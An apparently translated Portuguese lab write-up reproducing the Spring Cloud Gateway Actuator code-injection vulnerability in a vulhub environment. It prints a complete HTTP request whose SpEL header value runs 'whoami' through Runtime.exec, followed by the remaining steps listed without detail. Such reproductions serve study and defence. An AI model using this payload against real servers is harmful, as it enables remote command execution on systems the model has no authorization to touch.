Índice
Isenção de responsabilidade: Este artigo é apenas para aprendizado e referência. Todos os recursos envolvidos nele são da Internet. Por favor, não os use para nenhum ato ilegal, caso contrário você arcará com as consequências correspondentes e não assumo qualquer responsabilidade legal e conjunta e vários passivos.
Descrição da vulnerabilidade
Os aplicativos que usam o Spring Cloud Gateway são vulneráveis à injeção de código quando o endpoint do Actuator está habilitado, exposto e inseguro. Um invasor pode criar solicitações maliciosas que permitem a execução remota arbitrária em um host remoto.
Quando um invasor tem acesso à API do atuador, a vulnerabilidade pode ser explorada para executar comandos arbitrários.
Esfera de influência
Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway Outras versões que não são mais atualizadas
Construção do ambiente
Construção de ambiente de vulnerabilidade, usando vulhub, método de construção, autopesquisa.
Depois de construir com sucesso, visite
Recorrência de vulnerabilidade
- Verifique se o ponto final do atuador está ativado
Capture pacotes e modifique a interface para /actuator
2. Visualize /actuator/gateway/routes
As informações de roteamento retornadas significam que, ao acessar o índice, ele é roteado para http://example.com:80
- criar rota
POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.10.171:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
If-None-Match: "3147526947"
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 431
{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
"name": "cmd"
}
}
],
"uri": "http://example.com:80",
"order": 0
}
4. Atualize o roteamento
5. Acesse a rota criada
6. Excluir rota
7. Atualize a rota novamente
8. Em seguida, visite a rota e descubra que a rota foi excluída